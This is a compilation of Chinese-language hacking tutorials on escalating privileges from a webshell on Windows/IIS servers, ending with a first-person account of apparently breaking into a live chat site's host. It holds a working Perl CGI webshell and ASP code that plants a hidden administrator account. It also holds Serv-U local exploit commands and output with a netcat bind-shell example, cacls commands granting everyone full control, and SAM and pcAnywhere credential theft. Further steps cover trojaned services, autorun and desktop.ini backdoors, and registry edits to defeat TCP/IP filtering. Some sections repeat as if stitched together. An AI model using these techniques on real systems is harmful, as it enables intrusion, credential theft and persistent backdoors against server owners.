[+] Domain xl:2 created

[+] Creating Evil User

<200-User=xl

200 User settings saved

******************************************************

[+] Now Exploiting...

>USER xl

<331 User name okay, need password.

******************************************************

>PASS 111111

<230 User logged in, proceed.

******************************************************

[+] Now Executing: cacls.exe c: /E /T /G everyone:F

<220 Domain deleted

这样所有分区为everyone完全控制

现在我们把自己的用户提升为管理员:
http://anyhost//cmd.pl?c\perl\bin\su.exe " net localgroup administrators IUSR_anyhost /add"

6.可以成功运行"cscript C:\Inetpub\AdminScripts\adsutil.vbs get w3svc/inprocessisapiapps"来提升权限

用这个cscript C:\Inetpub\AdminScripts\adsutil.vbs get w3svc/inprocessisapiapps

查看有特权的dll文件:idq.dll httpext.dll httpodbc.dll ssinc.dll msw3prt.dll

再将asp.dll加入特权一族

asp.dll是放在c:\winnt\system32\inetsrv\asp.dll (不同的机子放的位置不一定一样)

我们现在加进去cscript adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll""c:\winnt\system32\inetsrv\asp.dll"

可以用cscript adsutil.vbs get /W3SVC/InProcessIsapiApps 来查看是不是加进去了

7.还可以用这段代码试提升,好象效果不明显

<%@codepage=936%><%Response.Expires=0

on error resume next

Session.TimeOut=50

Server.ScriptTimeout=3000

set lp=Server.createObject("WSCRIPT.NETWORK")

oz="WinNT://"&lp.ComputerName

Set ob=GetObject(oz)

Set oe=GetObject(oz&"/Administrators,group")

Set od=ob.create("user","WekweN$")

od.SetPassword "WekweN" <-----密码

od.SetInfo

Set of=GetObject(oz&"/WekweN$,user")

oe.Add(of.ADsPath)

Response.write "WekweN$ 超级帐号建立成功!"%>

用这段代码检查是否提升成功

<%@codepage=936%>

<%Response.Expires=0

on error resume next '查找Administrators组帐号

Set tN=server.createObject("Wscript.Network")

Set objGroup=GetObject("WinNT://"&tN.ComputerName&"/Administrators,group")

For Each admin in objGroup.Members

Response.write admin.Name&"<br>"

Next

if err then

Response.write "不行啊:Wscript.Network"

end if

%>

8.C:\Program Files\Java Web Start\

这里如果可以,一般很小,可以尝试用jsp的webshell,听说权限很小,本人没有遇见过。

9.最后了,如果主机设置很变态,可以试下在c:\Documents and Settings\All Users\「开始」菜单\程序\启动"写入bat,vbs等木马。

等到主机重启或者你ddos逼它重启,来达到权限提升的目的。

总结起来说就是,找到有执行和写入的目录,管他什么目录,然后上传提升工具,最后执行,三个字"找" "上""执"

以上是本人的拙见,大家有什么好的方法多多分享

[权限提升]关于WEBSHELL中的命令提示符没有权限提升

信息来源:黑白网络

有很多朋友问他得到了一个WEBSHELL,但是想用命令提示查看用户信息什么的,但是很多主机限制了执行命令,所以很多WEBSHELL就不能失去了很大的功能……前二天桂林老兵ASP站长助手6.0刚出来,我就以ASP站长助手6.0为例把它上传到一个禁止执行的虚拟主机,然后上传一个CMD.exe,然后调用你上传的CMD来执行命令……

本来想搞图文教程的,但感觉太简单,文字就可以说明清楚了

1.打开ASP站长助手6.0点击命令提示符,显示“没有权限”

2.用ASP站长助手6.0上传功能上传一个CMD.exe(在WIN\system32\cmd.exe)到你的WEBSHELL目录(其它目录也行,把上传以后的CMD.exe绝对路径COPY出来)

3.修改你的webshell找到调用CMD.exe的代码

Function CmdShell()

If Request("cmd")<>"" Then

DefCmd = Request("cmd")

Else

DefCmd = "Dir "&Session("FolderPath")

End If

SI="

"

SI=SI&""

SI=SI&""

<br>SI=SI&server.createobject("wscript.shell").exec("cmd.exe /c "&DefCmd).stdout.readall

<br>SI=SI&Chr(13)&"Rar命令行压缩示例:c:\progra~1\winrar\rar.exe a d:\web\test\web1.rar d:\web\test\web1"

Response.Write SI

End Function

修改成以下载的代码

Function CmdShell()

If Request("cmd")<>"" Then

DefCmd = Request("cmd")

Else

DefCmd = "Dir "&Session("FolderPath")

End If

SI=" "

SI=SI&""

SI=SI&""

<br>SI=SI&server.createobject("wscript.shell").exec("你想上传的cmd.exe绝对路径 /c "&DefCmd).stdout.readall

<br>SI=SI&Chr(13)&"Rar命令行压缩示例:c:\progra~1\winrar\rar.exe a d:\web\test\web1.rar d:\web\test\web1

"

Response.Write SI

End Function

为了大家看得清楚把要修改的提出来就可以

原来的:

SI=SI&server.createobject("wscript.shell").exec("cmd.exe /c "&DefCmd).stdout.readall

修改成:

SI=SI&server.createobject("wscript.shell").exec("你想上传的cmd.exe绝对路径 /c "&DefCmd).stdout.readall

比如你上伟到的目录是D:\web\www\cmd.exe那么就修改成:

SI=SI&server.createobject("wscript.shell").exec("D:\web\www\cmd.exe /c "&DefCmd).stdout.readall

这样你的WEBSHELL中的命令提示符就可以用了……

提升权限终极技巧

文章作者:WekweN

本篇文章结合了许多高手提升权限的技巧和自己的一些想法

当我们取得一个webshell时候,下一部要做的就是提升权限

个人总结如下:

1: C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\

看能否跳转到这个目录,如果行那就最好了,直接下它的CIF文件,得到pcAnywhere密码,登陆

ps: 破解工具本站已提供。请自己Search一下!

2.C:\WINNT\system32\config\

进这里下它的SAM,破解用户的密码

用到破解sam密码的软件有LC,SAMinside

3.C:\Documents and Settings\All Users\「开始」菜单\程序\

看这里能跳转不,我们从这里可以获取好多有用的信息

可以看见好多快捷方式,我们一般选择Serv-U的,然后本地查看属性,知道路径后,看能否跳转

进去后,如果有权限修改ServUDaemon.ini,加个用户上去,密码为空

[USER=WekweN|1]

Password=

HomeDir=c:\

TimeOut=600

Maintenance=System

Access1=C:\|RWAMELCDP

Access1=d:\|RWAMELCDP

Access1=f:\|RWAMELCDP

SKEYValues=

这个用户具有最高权限,然后我们就可以ftp上去 quote site exec xxx 来提升权限

4.c:\winnt\system32\inetsrv\data\

就是这个目录,同样是erveryone 完全控制,我们所要做的就是把提升权限的工具上传上去,然后执行

5.看能否跳转到如下目录

c:\php, 用phpspy

c:\prel,有时候不一定是这个目录(同样可以通过下载快捷方式看属性获知)用cgi的webshell

#!/usr/bin/perl

binmode(STDOUT);

syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);

$_ = $ENV{QUERY_STRING};

s/%20/ /ig;

s/%2f/\//ig;

$execthis = $_;

syswrite(STDOUT, "

\r\n", 13);open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";system($execthis);syswrite(STDOUT, "\r\n

\r\n", 17);

close(STDERR);

close(STDOUT);

exit;

保存为cgi执行,

如果不行,可以试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交

----------------------------------------------------------------------------------------------

现在的入侵是越来越难了,人们的安全意识都普遍提高了不少,连个人用户都懂得防火墙,杀毒软件要装备在手,对于微软的补丁升级也不再是不加问津。因此现在我们想在因特网上扫描弱口令的主机已经几乎是痴心妄想了。(这可是一件大大的好事啊。)

但是这也使得我们作黑客的进行入侵检测达到了一个前所未有的难度。通过各种手段,我们通常并不能直接获得一个系统的管理员权限。比如我们通过某些对IIS的攻击,只能获得IUSR-MACHINENAME的权限(如上传asp木马,以及某些溢出等)。这个帐号通常可是系统默认的guest权限,于是,如何拿到系统管理员或者是system权限,便显得日益重要了。

于是,我就总结了一下大家所经常使用的几种提升权限的方法,以下内容是我整理的,没有什么新的方法,写给和我一样的菜鸟看的。高手们就可以略去了,当然,你要复习我不反对,顺便帮我查查有什么补充与修改:

1、社会工程学。

对于社会工程学,我想大家一定不会陌生吧?(如果你还不太明白这个名词的话,建议你去找一些相关资料查查看。)我们通常是通过各种办法获得目标的敏感信息,然后加以分析,从而可以推断出对方admin的密码。举一个例子:假如我们是通过对服务器进行数据库猜解从而得到admin在网站上的密码,然后借此上传了一个海洋顶端木马,你会怎么做?先翻箱倒柜察看asp文件的代码以希望察看到连接SQL的帐号密码?错错错,我们应该先键入一个netstat –an命令察看他开的端口(当然用net start命令察看服务也行)。一旦发现他开了3389,犹豫什么?马上拿出你的终端连接器,添上对方IP,键入你在他网站上所获得的用户名及密码……几秒之后,呵呵,进去了吧?这是因为根据社会工程学的原理,通常人们为了记忆方便,将自己在多处的用户名与密码都是用同样的。于是,我们获得了他在网站上的管理员密码,也就等同于获得了他所有的密码。其中就包括系统admin密码。于是我们就可以借此登入他的3389拉!

即使他并没有开启3389服务,我们也可以凭借这个密码到他的FTP服务器上试试,如果他的FTP服务器是serv-u 5.004 以下版本,而帐号又具有写权限,那么我们就可以进行溢出攻击了!这可是可以直接拿到system权限的哦!(利用serv-u还有两个提升权限的方法,

我待会儿会说的)

实在不行,我们也可以拿它的帐号去各大网站试试!或许就能进入他所申请的邮箱拿到不少有用的信息!可以用来配合我们以后的行动。

还有一种思路,我们知道,一个网站的网管通常会将自己的主页设为IE打开后的默认主页,以便于管理。我们就可以利用这一点,将他自己的主页植上网页木马……然后等他打开IE……呵呵,他怎么也不会想到自己的主页会给自己种上木马吧?

其实利用社会工程学有很多种方法,想作为一个合格黑客,这可是必学的哦!多动动你自己的脑子,你才会成功!

2、本地溢出。

微软实在是太可爱了,这句话也不知是哪位仁兄说的,真是不假,时不时地就会给我们送来一些溢出漏洞,相信通过最近的MS-0011大家一定又赚了一把肉鸡吧?其实我们在拿到了Guest权限的shell后同样可以用溢出提升权限。最常用的就是RunAs.exe、 winwmiex.exe 或是PipeUpAdmin等等。上传执行后就可以得到Admin权限。但一定是对方没有打过补丁的情况下才行,不过最近微软的漏洞一个接一个,本地提升权限的exploit也会出来的,所以大家要多多关心漏洞信息,或许下一个exploit就是你写出来的哦!

3、利用scripts目录的可执行权限。

这也是我们以前得到webshell后经常使用的一招,原理是Scripts目录是IIS下的可运行目录,权限就是我们梦寐以求的SYSTEM权限。常见的使用方法就是在U漏洞时代我们先上传idq.dll到IIS主目录下的Scripts目录,然后用ispc.exe进行连接,就可以拿到system权限,不过这个是在Microsoft出了SP3之后就行不通了,其实我们仍可以利用此目录,只要我们上传别的木马到此目录,我举个例子就比如是winshell好了。然后我们在IE中输入:
http://targetIP/Scripts/ 木马文件名.exe

等一会,看到下面进度条显示“完成”时,可以了,连接你设定的端口吧!我这里是默认的5277,连接好后就是SYSTEM权限了!这时你要干什么我就管不着了……嘿嘿

4、替换系统服务。

这可是广大黑友乐此不疲的一招。因为windows允许对正在运行中的程序进行改动,所以我们就可以替换他的服务以使得系统在重启后自动运行我们的后门或是木马!首先,通过你获得的guest权限的shell输入:net start命令,察看他所运行的服务。此时如果你对windows的系统服务熟悉的话,可以很快看出哪些服务我们可以利用。

C:\WINNT\System32\>net start

已经启动以下 Windows 服务:

COM+ Event System

Cryptographic Services

DHCP Client

Distributed Link Tracking Client

DNS Client

Event Log

Help and Support

IPSEC Services

Logical Disk Manager

Logical Disk Manager Administrative Servic

Network Connections

Network Location Awareness (NLA)

Protected Storage

Remote Procedure Call (RPC)

Rising Process Communication Center

Rising Realtime Monitor Service

Secondary Logon

Security Accounts Manager

Shell Hardware Detection

System Event Notification

System Restore Service

Telephony

Themes

Upload Manager

WebClient

Windows Audio

Windows Image Acquisition (WIA)

Windows Management Instrumentation

Windows Time

Wireless Zero Configuration

Workstation

命令成功完成。

我先在我的机器上运行一下命令做个示范(大家别黑我呀),注意我用红色标注的部分,那是我安装的瑞星。Rising Process Communication Center服务所调用的是CCenter.exe,而Rising Realtime Monitor Service服务调用的是RavMonD.exe。这些都是第三方服务,可以利用。(强烈推荐替换第三方服务,而不要乱动系统服务,否则会造成系统不稳定)于是我们搜索这两个文件,发现他们在D:\ rising\rav\文件夹中,此时注意一点:如果此文件是在系统盘的Program Files目录中时,我们要知道,如果对方是使用的NTFS格式的硬盘,那么系统盘下的这个文件夹guest权限是默认不可写的,还有Windows目录、Documents and Settings目录这些都是不可写的,所以我们就不能替换文件,只能令谋途径了。(这也是为什么我不建议替换系统服务的原因之一,因为系统服务文件都在Windows\System32目录中,不可写)但如果是FAT32格式就不用担心,由于它的先天不足,所有文件夹都是可写的。

于是就有人会问:如果是NTFS格式难道我们就没辙了吗?

当然不是,NTFS格式默认情况下除了对那三个文件夹有限制外,其余的文件夹、分区都是everyone完全控制。(也就是说我即使是IPC$的匿名连接,都会对这些地方有可写可运行权限!)所以一旦对方的第三方服务不是安装在那三个文件夹中,我们就可以替换了!我就拿CCenter下手,先将它下载到本地机器上(FTP、放到IIS主目录中再下载等等……)然后拿出你的文件捆绑机,找到一个你最拿手的后门……呵呵,捆绑好后,上传,先将对方的CCenter.exe文件改个名CCENTBAK.exe,然后替换成自己的CCenter。现在只需要等对方的机器重启,我们的后门就可以运行了!由于Windows系统的不稳定,主机在一个礼拜后就会重启,(当然如果你等不及的话,可以对此服务器进行DDOS攻击迫使他重启,但我并不赞同!)此时登上你的后门,就是System权限了!

5、替换admin常用程序。

如果对方没有你所能利用的服务,也可以替换对方管理员常用的程序,例如QQ,MSN等等,具体替换方法与替换服务一样,只是你的后门什么时候可以启动就得看你的运气了。

6、利用autorun .inf或desktop.ini。

我们常会碰到这种事:光盘放进光驱,就会自动跳出来一段FLASH,这是为什么?呵呵,你到光盘的根目录中看看,是否有一个autorun.inf的文件?用记事本打开来看看,是不是有这么一句话:autorun=xxx.exe 这就是你刚才所看到的自动运行的程序了。

于是我们就可以利用这个来提升我们的权限。先配置好一个后门,(我常用的是winshell,当然你不用这个也行)上传到他D盘下的任意一个文件夹中,然后从你那个自运行的光盘中把autorun.inf文件也上传,不过上传前先将autorun=xxx.exe 后面的xxx.exe改为你配置的后门文件途径、文件名,然后再上传到d盘根目录下,加上只读、系统、隐藏属性。OK就等对方admin浏览D盘,我们的后门就可以启动了!(当然,这必须是在他没有禁止自动运行的情况下才行。)

另外有相同作用的是desktop.ini。大家都知道windows支持自定义文件,其实它就是通过在文件夹中写入特定文件——desktop.ini与Folder.htt来实现的,我们就可以利用修改这文件来达到我们的目的。

首先,我们现在本地建立一个文件夹,名字不重要,进入它,在空白处点右键,选择“自定义文件夹”(xp好像是不行的)一直下点,默认即可。完成后,你就会看到在此目录下多了两个名为Folder setting的文件架与desktop.ini的文件,(如果你看不到,先取消“隐藏受保护的操作系统文件”)然后我们在Folder setting目录下找到Folder.htt文件,记事本打开,在任意地方加入以下代码:

<OBJECT ID=”RUNIT” WIDTH=0 HEIGHT=0 TYPE=”application/x-oleobject” CODEBASE=”你的后门文件名”>

</OBJECT>

然后你将你的后门文件放在Folder setting目录下,把此目录与desktop.ini一起上传到对方任意一个目录下,就可以了,只要等管理员浏览了此目录,它就执行了我们的后门!(如果你不放心,可以多设置几个目录)

7、Serv-U提升权限

利用Serv-U提升权限共有三种方法,溢出是第一种,我之前已经说过,这里就不介绍了。我要讲的是其余两种办法。

办法一:要求:对Serv-u安装目录有完全控制权。

方法:进入对方的Serv-U目录,察看他的ServUDaemon.ini,这是Serv-U的配置文件,如果管理员没有选择将serv- u的所有配置写入注册表的话,我们就可以从这个文件中看到Serv-U的所有信息,版本、IP、甚至用户名与密码!早些版本的密码是不加密的,但是后来是经过了MD5加密。所以不能直接得到其密码。不过我们仍然有办法:先在本地安装一个Serv-U(版本最好新点),将你自己的ServUDaemon.ini文件用从他那下载下来的ServUDaemon.ini 覆盖掉,重起一下Serv-U,于是你上面的所有配置都与他的一模一样了。我们新建一个用户,什么组不重要,重要的是将他的主目录改为对方的系统盘,然后加上执行权限!这个最重要。更改完后应用,退出。再将你更改过的ServUDaemon.ini 文件上传,覆盖掉他的文件,然后就等他的Serv-U重启更新配置,之后我们就可以登入他的FTP。进入后执行以下命令:

Cd windows

Cd System32

Quote site exec net.exe user wofeiwo /add

Quote site exec net.exe localgroup administrators wofeiwo /add

Bye

然后你就有了一个叫wofeiwo的系统管理员了,还等什么?登陆3389,大功告成!

办法二:Serv-u开了两个端口,一个是21,也就是ftp了,而另一个是43958,这个端口是干什么的?嘿嘿,这个是serv-u的本地管理端口。但是默认是不准除了127.0.0.1外的ip连接的,此时就要用到FPIPE.exe文件,这是一个端口转发程序,上传他,执行命令:

Fpipe –v –l 3333 –r 43958 127.0.0.1

意思是将4444端口映射到43958端口上。

然后就可以在本地安装一个Serv-u,新建一个服务器,IP填对方IP,帐号为LocalAdministrator 密码为#1@$ak#.1k;0@p 连接上后你就可以管理他的Serv-u了,之后提升权限的方法参考办法一。我就不赘述了。

8、SQL帐户密码泄露。

如果对方开了MSSQL服务器,我们就可以通过用SQL连接器加管理员帐号,因为MSSQL是默认的SYSTEM权限。

要求:你得到了对方MSSQL管理员密码(可以从他的连接数据库的ASP文件中看到),对方没有删除xp_cmdshell

方法:使用Sqlexec.exe,在host 一栏中填入对方IP,User与Pass中填入你所得到的用户名与密码。Format选择xp_cmdshell”%s”即可。然后点击connect,连接上后就可以在CMD一栏中输入你想要的CMD命令了。
http://anyhost//cmd.pl?dir
显示"拒绝访问",表示可以执行了!马上提交:先的上传个su.exe(ser-u提升权限的工具)到 prel的bin目录
http://anyhost//cmd.pl?c\perl\bin\su.exe
返回:

Serv-u >3.x Local Exploit by xiaolu

USAGE: serv-u.exe "command"

Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"

现在是 IUSR 权限,提交:
http://anyhost//cmd.pl?c\perl\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
http://anyhost//cmd.pl?c\perl\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
http://anyhost//cmd.pl?c\perl\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
http://anyhost//cmd.pl?c\perl\bin\su.exe "cacls.exe f: /E /T /G everyone:F"

如果返回下面的信息,就表示成功了

Serv-u >3.x Local Exploit by xiaolu

<220 Serv-U FTP Server v5.2 for WinSock ready...

>USER LocalAdministrator

<331 User name okay, need password.

******************************************************

>PASS #l@$ak#.lk;0@P

<230 User logged in, proceed.

******************************************************

>SITE MAINTENANCE

******************************************************

[+] Creating New Domain...

<200-DomainID=2

<220 Domain settings saved

******************************************************

[+] Domain xl:2 created

[+] Creating Evil User

<200-User=xl

200 User settings saved

******************************************************

[+] Now Exploiting...

>USER xl

<331 User name okay, need password.

******************************************************

>PASS 111111

<230 User logged in, proceed.

******************************************************

[+] Now Executing: cacls.exe c: /E /T /G everyone:F

<220 Domain deleted

这样所有分区为everyone完全控制

现在我们把自己的用户提升为管理员:
http://anyhost//cmd.pl?c\perl\bin\su.exe " net localgroup administrators IUSR_anyhost /add"

6.可以成功运行"cscript C:\Inetpub\AdminScripts\adsutil.vbs get w3svc/inprocessisapiapps"来提升权限

用这个cscript C:\Inetpub\AdminScripts\adsutil.vbs get w3svc/inprocessisapiapps

查看有特权的dll文件:idq.dll httpext.dll httpodbc.dll ssinc.dll msw3prt.dll

再将asp.dll加入特权一族

asp.dll是放在c:\winnt\system32\inetsrv\asp.dll (不同的机子放的位置不一定一样)

我们现在加进去cscript adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll""c:\winnt\system32\inetsrv\asp.dll"

可以用cscript adsutil.vbs get /W3SVC/InProcessIsapiApps 来查看是不是加进去了

7.还可以用这段代码试提升,好象效果不明显

用这段代码检查是否提升成功

8.C:\Program Files\Java Web Start\

这里如果可以,一般很小,可以尝试用jsp的webshell,听说权限很小,本人没有遇见过。

9.最后了,如果主机设置很变态,可以试下在c:\Documents and Settings\All Users\「开始」菜单\程序\启动"写入bat,vbs等木马。

等到主机重启或者你ddos逼它重启,来达到权限提升的目的。

总结起来说就是,找到有执行和写入的目录,管他什么目录,然后上传提升工具,最后执行,三个字"找" "上""执"

从上传webshell到突破TCP/IP筛选到3389终端登陆

从上传webshell到突破TCP/IP筛选到3389终端登陆

一:得到webshell

今天晚上的一次小小测试,由于本人太菜,再高深的技术我也不会,只能这样了..........

一切都已经过去了,没有办法补图了,希望能看的懂这个小帖子。

今天有是无聊的一天,晚上实在无聊没有事情干,就到一个视频聊天站点看秀,嘿嘿~

突然发现一个聊天室特别的火暴,人数已经有500人在里面了(满员了),刷了n次也没有进去..........更加郁闷了!:(

想想反正也是没有事情做,测试一下主机安全做的怎么样吧,呵呵(太菜,说测试人家安全实在是抬高自己了)

在cmd下ping了一下得到了对方的ip,然后登陆http://whois.webhosting.info/对方ip看看有没有其他的站点,哈,这下发了,上面有几十个站点,估计我还是能找到一个两个带漏洞的站点的`

经过漫长的查找,终于找到一个动易带漏洞的页面http://www.xxxx.net/Upfile_Soft.asp,上传一个webshell(海阳2005正式版)先(怎么上传我就不罗嗦了,上传工具现在漫天飘了)。

二:成功提升权限建立用户

拿到webshell后高高兴兴的登陆了,突然发现什么权限都没有,只能在自己的webshell所在的目录里面打转(c.d.e.f盘都浏览不了),连删除文件的权限都没有,郁闷呀........

回到〖Server〗下看看主机开了什么服务吧,经过发现他开了终端服务和serv-u服务,哈,这下有搞头了^_^用superscan扫描了一下他的ip,果然通过banner看出他是用的serv-u,版本5.0。

到〖Wscript.Shell〗下面试试看能执行cmd命令不能,输入net user后没有反映,再试通过Wscript.Shell能执行cmd命令不能,再次输入net user后执行返回了对方的user名单,哈哈,这下好了,能拿下了!!

上传serv-u提升工具到D:\a004\tggtwe\****.com\UploadSoft目录下面,改名为:test.exe,然后回到〖Wscript.Shell〗下执行命令去了,嘿嘿,马上一只肥鸡就要到手了,高兴ing~

通过Wscript.Shell执行cmd命令:

D:\a004\tggtwe\****.com\UploadSoft\test.exe "net user guest /active:yes" #激活guest账号,我喜欢用这个账号

D:\a004\tggtwe\****.com\UploadSoft\test.exe "net user guest lvhuana" #把guest账号的密码设定为lvhuana

D:\a004\tggtwe\****.com\UploadSoft\test.exe "net localgroup administrators guest /add" #提升guest权限到admin权限

好了,账号建立完毕,执行一下net localgroup administrators看看成功没,通过回显知道添加成功了。然后执行netstat -an后看到他开的终端端口是默认的3389,OK,连接试试~

三:解决TCP/IP筛选

连接不上!?晕...........再拿出superscan来扫一下他的3389,根本扫不到........(开了防火墙!?靠,我的点真背.....)

没有办法了,再次回到Wscript.Shell执行cmd命令:

D:\a004\tggtwe\****.com\UploadSoft\test.exe "cacls.exe c: /e /t /g everyone:F" #把c盘设置为everyone可以浏览

D:\a004\tggtwe\****.com\UploadSoft\test.exe "cacls.exe d: /e /t /g everyone:F" #把d盘设置为everyone可以浏览

D:\a004\tggtwe\****.com\UploadSoft\test.exe "cacls.exe e: /e /t /g everyone:F" #把e盘设置为everyone可以浏览

D:\a004\tggtwe\****.com\UploadSoft\test.exe "cacls.exe f: /e /t /g everyone:F" #把f盘设置为everyone可以浏览

这下最少可以遍历整个硬盘了,我在硬盘里面到处的翻,找遍了也没有找到他的防火墙文件,这下心里有数了,肯定是他进行TCP/IP筛选了!(当然也有是内网做服务器的可能,具体大家自己可以根据ipconfig -all来判断)

突破TCP/IP筛选我们可以更改他的注册表来实现,我们要做的就是导出他注册表的三处,更改后再导入就可以了,回到〖Wscript.Shell〗执行cmd命令:

D:\a004\tggtwe\****.com\UploadSoft\test.exe "regedit -e D:\a004\tggtwe\****.com\UploadSoft\1.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip" #导出注册表里关于TCP/IP筛选的第一处

D:\a004\tggtwe\****.com\UploadSoft\test.exe "regedit -e D:\a004\tggtwe\****.com\UploadSoft\2.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip" #导出注册表里关于TCP/IP筛选的第二处

D:\a004\tggtwe\****.com\UploadSoft\test.exe "regedit -e D:\a004\tggtwe\****.com\UploadSoft\3.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip" #导出注册表里关于TCP/IP筛选的第三处

然后回到〖Stream〗或〖FSO〗发现1.reg,2.reg,3.reg已经安静的躺在那里了,嘿嘿~

把1.reg,2.reg,3.reg下载回来到自己的硬盘里面编辑一下,把关于TCP/IP筛选的几个地方改一下,首先打开1.reg找到"EnableSecurityFilters"=dword:00000001把最后面的数字1改成0后保存,然后更改2.reg,3.reg,更改方法一样,我就不再罗嗦了~

然后我们把1.reg,2.reg,3.reg再上传回对方的机器里面(这里我们要选上覆盖模式,因为没有权限删除原来的1.reg,2.reg,3.reg),上传成功后再回到〖Wscript.Shell〗执行cmd命令:

D:\a004\tggtwe\****.com\UploadSoft\test.exe "regedit -s D:\a004\tggtwe\****.com\UploadSoft\1.reg" #安静模式下把我们修改完的1.reg导入到他的注册表

D:\a004\tggtwe\****.com\UploadSoft\test.exe "regedit -s D:\a004\tggtwe\****.com\UploadSoft\2.reg" #安静模式下把我们修改完的2.reg导入到他的注册表

D:\a004\tggtwe\****.com\UploadSoft\test.exe "regedit -s D:\a004\tggtwe\****.com\UploadSoft\3.reg" #安静模式下把我们修改完的3.reg导入到他的注册表

OK!导入后重新启动他的机器后在能解决TCP/IP筛选问题,再在〖Wscript.Shell〗执行cmd命令:

D:\a004\tggtwe\****.com\UploadSoft\test.exe "iisreset /reboot /timeout:00" #利用他自身的iis服务来重新启动他的机器,/timeout:00这个参数是让他立即重新启动

执行完后我们再用superscan已经扫不到他了,吼吼~已经重新启动了!

四:成功用终端登陆

经过漫长的等待后(其实时间不长,只是我在这里已经等不及了,嘿嘿~),终于可以用superscan扫到他了,并且可以扫到他的3389端口了,哈哈,终于成功了,拿出终端登陆器顺利的用我刚才建立的user:guest,pass:lvhuana登陆上了!
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: